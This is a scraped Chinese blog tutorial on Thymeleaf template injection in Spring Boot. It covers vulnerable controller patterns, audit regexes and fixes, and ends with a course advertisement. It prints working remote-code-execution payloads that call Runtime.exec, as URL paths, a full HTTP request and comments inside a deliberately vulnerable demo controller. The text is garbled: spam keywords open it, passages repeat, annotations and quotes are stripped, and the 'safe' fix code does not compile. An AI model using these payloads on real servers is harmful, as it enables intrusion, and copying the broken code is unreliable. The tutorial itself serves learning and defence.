网站建设的目标是什么,微页制作网站模板免费下载,中铁建设集团有限公司华南分公司,找网站开发公司需要注意那几点一、日常编码中常见的两种漏洞场景
1.1 模板参数外部可控
RequestMapping(/path)public String path(RequestParam String lang) {return lang ;}实际开发过程中 依靠我丰富的想象力只能想出 换主题 这种场景下可能会出现 大佬们自行脑补吧。
1.2 使用GetMappin…一、日常编码中常见的两种漏洞场景
1.1 模板参数外部可控
RequestMapping(/path)public String path(RequestParam String lang) {return lang ;}实际开发过程中 依靠我丰富的想象力只能想出 换主题 这种场景下可能会出现 大佬们自行脑补吧。
1.2 使用GetMapping注解 且没有return
根据spring boot定义如果controller无返回值则以GetMapping的路由为视图名称。
当然对于每个http请求来讲其实就是将请求的url作为视图名称调用模板引擎去解析。
GetMapping(/doc/{document})public void getDocument(PathVariable String document) {logger.info(Retrieving document);}tips:没有return 就是返回值为viod。
二 、如何构造payload
通过**${}**::.x构造表达式会由Thymeleaf去执行
__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.xGET /doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtmlxml,application/xml;q0.9,*/*;q0.8
Accept-Language: zh-cn,zh;q0.8,en-us;q0.5,en;q0.3
Cookie: Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba1659928725
Connection: closepayload构造
注意: 模板名称后存在拼接的payload必须以 ::.x结尾
package com.thymeleaf.jack.controller;import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;/*** Author:Jack Date:2022.09.28*/// 通过__${}__::.x构造表达式会由Thymeleaf去执行
Controller
public class demo {private static final Logger logger LogManager.getLogger(demo.class);RequestMapping(/index)public String getIndex(Model model) {model.addAttribute(name, jack);return index;}// 模板后存在拼接的payload必须以 ::.x结尾
//path?lang__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.xRequestMapping(/path)public String path(RequestParam String lang) {return user/ lang /welcome;}// 根据spring boot定义如果controller无返回值则以GetMapping的路由为视图名称。// 当然对于每个http请求来讲其实就是将请求的url作为视图名称调用模板引擎去解析
//poc:/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.xGetMapping(/doc/{document})public void getDocument(PathVariable String document) {logger.info(Retrieving document);}//poc 结尾可以去除 ::.x///fragment?section__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__GetMapping(/fragment)public String fragment(RequestParam String section) {return welcome :: section; //fragment is tainted}}!DOCTYPE html
html langen xmlns:thhttp://www.thymeleaf.org
headmeta charsetUTF-8titletitle/title
/head
body
hello 第一个Thymeleaf程序
div th:text${name}/div
/body
/html三、 查找漏洞
黑盒:更换主题等页面打payload
场景1: 切换主题/背景 的功能区,将参数改为 payload。
白盒审计:
a.模板参数外部可控
这个很难写出真正意义上的漏洞匹配的正则
我在日常的代码审计过程中这样的
1 查看所有的模板文件名称 假设index.html开始
2 正则搜索控制器return.*?\.*?模板名称
return.*?\.*?index查看该接口中 index 参数
是不是外部可控
参数 中是否 不含有 HttpServlet
rerun前面 是不是 没有重定向 redirect
如果都是 那就存在此漏洞
其实模板文件也不会很多 ,所以这样去白盒审计这个漏洞。
b.查找含参数GetMapping路由 无return
先正则GetMapping\(.*?\)\s*public\svoid/gm 注意 多行匹配加全局搜索 这样才不会遗漏 四、漏洞修复
我个人推荐的修复方式
我个人任务应该白名单的修复方式。
RequestMapping(/vulnpath)public String path(RequestParam String lang) {return lang;}RequestMapping(/safepath)public String path(RequestParam int lang) {int num request.getParemeter(lang);HashMapInteger, String tems new HashMapInteger, String();tems.put(1, red template);tems.put(2, yellow template);tems.put(3, green template);return tems.get(num)}网上搜集的修复方式
我个人觉得不完美,安全不能影响业务需求呀,这样修复影响了功能使用。
1 使用注解ResponseBody或者RestController则不再调用模板解析
2 模板名称由redirect:或forward:开头
GetMapping(/safe/redirect)
public String redirect(RequestParam String url) {return redirect: url; //CWE-601, as we can control the hostname in redirect不走ThymeleafView渲染即无法利用
根据spring boot定义如果名称以redirect:开头则不再调用ThymeleafView解析调用RedirectView去解析controller的返回值。
3 参数中有HttpServletResponse设置为HttpServletResponseSpring认为它已经处理了HTTP
Response因此不会发生视图名称解析。
GetMapping(/safe/doc/{document})
public void getDocument(PathVariable String document, HttpServletResponse response) {log.info(Retrieving document);
}Response因此不会发生视图名称解析。
GetMapping(/safe/doc/{document})
public void getDocument(PathVariable String document, HttpServletResponse response) {log.info(Retrieving document);
}最后
对于从来没有接触过网络安全的同学我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线大家跟着这个大的方向学习准没问题。 同时每个成长路线对应的板块都有配套的视频提供 当然除了有配套的视频同时也为大家整理了各种文档和书籍资料工具并且已经帮大家分好类了。 因篇幅有限仅展示部分资料有需要的小伙伴可以【扫下方二维码】免费领取